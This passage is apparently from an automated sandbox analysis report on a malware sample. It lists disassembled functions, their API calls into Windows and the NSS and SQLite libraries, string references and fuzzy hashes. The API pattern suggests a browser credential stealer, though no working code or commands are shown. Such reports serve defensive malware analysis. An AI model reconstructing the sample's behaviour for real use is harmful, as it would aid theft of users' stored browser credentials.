SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,02F6B968,?,004210F4), ref: 00416C60
ExitProcess.KERNEL32 ref: 00416C7A

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction ID: 1a92bae8d2aea180e7b918fcc5e881d349bf880cfa552010dcbd9d747ca2879d
Opcode Fuzzy Hash: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction Fuzzy Hash: 0321CD75D142089BCF14DFE4E9459EEB7BABF48300F04852EF506A3250EB349644CB69

Function 6C75CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C771E10: TlsGetValue.KERNEL32 ref: 6C771E36
Part of subcall function 6C771E10: EnterCriticalSection.KERNEL32(?,?,?,6C74B1EE,2404110F,?,?), ref: 6C771E4B
Part of subcall function 6C771E10: PR_Unlock.NSS3 ref: 6C771E76

free.MOZGLUE(?,6C75D079,00000000,00000001), ref: 6C75CDA5
PK11_FreeSymKey.NSS3(?,6C75D079,00000000,00000001), ref: 6C75CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C75D079,00000000,00000001), ref: 6C75CDCF
DeleteCriticalSection.KERNEL32(?,6C75D079,00000000,00000001), ref: 6C75CDE2
free.MOZGLUE(?), ref: 6C75CDE9

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: bde13ea4d5165df744ba440ac43fa9ff57fe42db040889c0bdeed1ad71cfb990
Instruction ID: e09040194bf2506cd5e36104570016eb1edc030e6837352d5a5583dd9bd0cf94
Opcode Fuzzy Hash: bde13ea4d5165df744ba440ac43fa9ff57fe42db040889c0bdeed1ad71cfb990
Instruction Fuzzy Hash: 8411E3B2B01205ABDE10AB65EE89A96773CFB0826E7500131E918C3E05DB31E438C7E1

Function 6C7C2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7C5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7C5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C2CEC

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

PR_EnterMonitor.NSS3(?), ref: 6C7C2D02
PR_EnterMonitor.NSS3(?), ref: 6C7C2D1F
PR_ExitMonitor.NSS3(?), ref: 6C7C2D42
PR_ExitMonitor.NSS3(?), ref: 6C7C2D5B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 9228e15ef5cfd54a52f3e30ee01749cb7053d93bd4ead01c84bd37016badb824
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: E20104B5B406015FE7309E29FD49BC7B7A1EF61318F005935E8AA86721E232F8158B93

Function 6C7C2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C7C5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C7C5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C2D9C

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

PR_EnterMonitor.NSS3(?), ref: 6C7C2DB2
PR_EnterMonitor.NSS3(?), ref: 6C7C2DCF
PR_ExitMonitor.NSS3(?), ref: 6C7C2DF2
PR_ExitMonitor.NSS3(?), ref: 6C7C2E0B

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 3bec2b323a0803fa32e04f12deab2885e3b2b53292de2add015fb076087195b5
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: E40108B5B402015FE7309E29FD4DBC7B7A5EF61318F001434E85986B12D632F4158693

Function 6C75AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C743090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C75AE42), ref: 6C7430AA
Part of subcall function 6C743090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7430C7
Part of subcall function 6C743090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7430E5
Part of subcall function 6C743090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C743116
Part of subcall function 6C743090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C74312B
Part of subcall function 6C743090: PK11_DestroyObject.NSS3(?,?), ref: 6C743154
Part of subcall function 6C743090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7399FF,?,?,?,?,?,?,?,?,?,6C732D6B,?), ref: 6C75AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7399FF,?,?,?,?,?,?,?,?,?,6C732D6B,?), ref: 6C75AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C732D6B,?,?,00000000), ref: 6C75AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C732D6B,?,?,00000000), ref: 6C75AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C732D6B,?,?), ref: 6C75AEA3

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 9a3d5c53737463ed6b2f55e4e3545cd68c0cb04360d28e6ea58c72bdbcb66ceb
Instruction ID: e22c4fe2c017f5141d925f45a3b234ddd753998bc76737cc6b695f9382eb316d
Opcode Fuzzy Hash: 9a3d5c53737463ed6b2f55e4e3545cd68c0cb04360d28e6ea58c72bdbcb66ceb
Instruction Fuzzy Hash: AD01F4A6B0005057E701A16CAE8FABB315C8B8766CF880031E909D7B01FE15D92547F3

Function 6C84BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C847AFE,?,?,?,?,?,?,?,?,6C84798A), ref: 6C84BDC3
free.MOZGLUE(?,?,6C847AFE,?,?,?,?,?,?,?,?,6C84798A), ref: 6C84BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C847AFE,?,?,?,?,?,?,?,?,6C84798A), ref: 6C84BDE9
free.MOZGLUE(?,00000000,00000000,?,6C847AFE,?,?,?,?,?,?,?,?,6C84798A), ref: 6C84BE21
free.MOZGLUE(00000000,00000000,?,6C847AFE,?,?,?,?,?,?,?,?,6C84798A), ref: 6C84BE32

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: e4a10e36a88ee09d91dd83aded01161c53b8edfbedc44fe020d0a200ab2d10b4
Instruction ID: 14562c973a6c79098c25bd56858ec890c80d5cad209a71a51fca5b8ba83c8821
Opcode Fuzzy Hash: e4a10e36a88ee09d91dd83aded01161c53b8edfbedc44fe020d0a200ab2d10b4
Instruction Fuzzy Hash: E411E3B9B026049FDF70DF2DD94EB063BB9BB4A25CB4404B9D50A87711E739A818CBD1

Function 004193F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(02F75900,00000000,00000000,?,00409F71,00000000,02F75900,00000000), ref: 004193FC
lstrcpyn.KERNEL32(006D7580,02F75900,02F75900,?,00409F71,00000000,02F75900), ref: 00419420
lstrlenA.KERNEL32(00000000,?,00409F71,00000000,02F75900), ref: 00419437
wsprintfA.USER32 ref: 00419457

Strings

%s%s, xrefs: 00419445

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction ID: 36a1aade9beab669742e698a5986ef2a8e6d9b7fa0e45cca69d8a80143706e49
Opcode Fuzzy Hash: 84a337f0fca5bdf22d9977d595415c9580f1c6ff8586b832ae243cfd604c2dbf
Instruction Fuzzy Hash: 9B011E75A18108FFCB04DFA8DD54EAE7B79EF48304F108249F9098B340EB31AA40DB96

Function 6C847C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C847C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C847C83
malloc.MOZGLUE(00000001), ref: 6C847C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C847C9F
PR_GetCurrentThread.NSS3 ref: 6C847CAD

Part of subcall function 6C7F9BF0: TlsGetValue.KERNEL32(?,?,?,6C840A75), ref: 6C7F9C07

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: c87bde4501d1a63903279d81952a3ae6b8335c1a5dce0e01453c667ca5315f94
Instruction ID: 23dd0a0e8ce5cb4b25a5ea6e74b61b35c5f3b2d767190926ee4c128c94fd2c5f
Opcode Fuzzy Hash: c87bde4501d1a63903279d81952a3ae6b8335c1a5dce0e01453c667ca5315f94
Instruction Fuzzy Hash: 49F0C2F191020A6BEB109F7A9E099477B98EF01269B12C935E819C3B01E734E514CBE5

Function 6C84ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C84A6D8), ref: 6C84AE0D
free.MOZGLUE(?), ref: 6C84AE14
DeleteCriticalSection.KERNEL32(6C84A6D8), ref: 6C84AE36
free.MOZGLUE(?), ref: 6C84AE3D
free.MOZGLUE(00000000,00000000,?,?,6C84A6D8), ref: 6C84AE47

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 7c61844a3bd73640e3efd2d5f5d5f8c2c599c131f4a39739108691124fb6a3d8
Instruction ID: e62f84bf0e1159023ec568f1a9c8f19d96f01204d463c7981b5ca4b840d10c5a
Opcode Fuzzy Hash: 7c61844a3bd73640e3efd2d5f5d5f8c2c599c131f4a39739108691124fb6a3d8
Instruction Fuzzy Hash: 78F0C2B6202A05A7CA209F68E848957B778BE86A787104338E13A87D41D735E415CBD1

Function 0041CA72 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CA7E

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__getptd.LIBCMT ref: 0041CA95
__amsg_exit.LIBCMT ref: 0041CAA3
__lock.LIBCMT ref: 0041CAB3
__updatetlocinfoEx_nolock.LIBCMT ref: 0041CAC7

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 8e15bae909d06919cb4135276c74b5d3530aaf41c11ecb0caa68e2a981b89e64
Instruction ID: c5a7914bfd81a4edf64c409ce704b1973edb92a02c079c255f399551119664c9
Opcode Fuzzy Hash: 8e15bae909d06919cb4135276c74b5d3530aaf41c11ecb0caa68e2a981b89e64
Instruction Fuzzy Hash: D0F06231A803189BD622FBA95C867DE33A0AF40758F50014FE405562D2CB7C59C186DE

Function 6C6D7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6D7D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6D7D13, 6C6D7D1F, 6C6D7D47, 6C6D7D53, 6C6D7D5F
%s at line %d of [%.10s], xrefs: 6C6D7D2E
database corruption, xrefs: 6C6D7D29

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: cbe9fffa289a85a171da021c579fb7c87f24e3ad7d54592941d9839ede44a76e
Instruction ID: 79a8032b28de7b98135624eed65cb00a73080347313b0e400135e7e71d5845fd
Opcode Fuzzy Hash: cbe9fffa289a85a171da021c579fb7c87f24e3ad7d54592941d9839ede44a76e
Instruction Fuzzy Hash: 93313971E042255BC720CF9EC8809BDB7F1EF49709B5A0596F444B7B89D270E841C7B9

Function 6C6C6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C6C6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6C6D20
%s at line %d of [%.10s], xrefs: 6C6C6D2F
database corruption, xrefs: 6C6C6D2A

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 0291be095ca9f7c7a863d9a4ff6bc485218308b6d915e0520560a0956e059c69
Instruction ID: fb23c1e9ccd38f205a491d7b5404f7c4a415df9334e013dacb185513b2868b4b
Opcode Fuzzy Hash: 0291be095ca9f7c7a863d9a4ff6bc485218308b6d915e0520560a0956e059c69
Instruction Fuzzy Hash: 2221E0717043059BC7208E1AC841BAAB7F2EF85318F148929E8499BF51E771F989879E

Function 004168D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416903

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 004169C6
ExitProcess.KERNEL32 ref: 004169F5

Strings

<, xrefs: 00416979

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 80adf956ea99f7686bf73ed2305a0c7c355c3d8c509fc3f8e2274e2124ba97dc
Instruction ID: 69e214fcc2f82cbe4d830bf51364f862e1744f727ac50a07542482e63681b1c7
Opcode Fuzzy Hash: 80adf956ea99f7686bf73ed2305a0c7c355c3d8c509fc3f8e2274e2124ba97dc
